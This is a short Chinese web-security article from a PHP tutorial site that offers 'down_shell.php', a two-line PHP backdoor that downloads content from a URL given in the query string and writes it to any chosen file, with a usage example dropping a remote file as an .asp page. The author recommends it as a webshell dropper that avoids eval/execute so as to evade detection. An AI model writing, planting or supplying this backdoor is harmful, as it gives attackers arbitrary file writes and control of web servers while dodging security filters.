php代码下载shell可过一流信息拦截 - 网站安全 --自学php网

php代码下载shell可过一流信息拦截 - 网站安全 -

来源：自学PHP网时间：2015-04-17 14:47 作者：阅读:次

[导读] down_shell.php -可过一流信息拦截?php$str=file_get_contents($_GET[#39;url#39;]);echo file_put_contents($_GET[#39;file#39;],$str);?use: ?url=http://www.2cto.com/1.txtfile=3.asp代码很简单。......

down_shell.php -可过一流信息拦截
<?php
$str=file_get_contents($_GET['url']);
echo file_put_contents($_GET['file'],$str);
?>
use: ?url=http://www.2cto.com/1.txt&file=3.asp

代码很简单。为什么都要用EVAL execute 来做后门呢，貌似这样做也能起到后门的作用。而且不易被特征。
本文来源于独自等待博客

shopex易分销系统存在geshell漏洞及修复 - 网站安全

Joomla JoomTouch Component本地文件包含缺陷及修复 -

子栏目

php代码下载shell可过一流信息拦截 - 网站安全 -

最新评论

添加评论

更多文章推荐

添加评论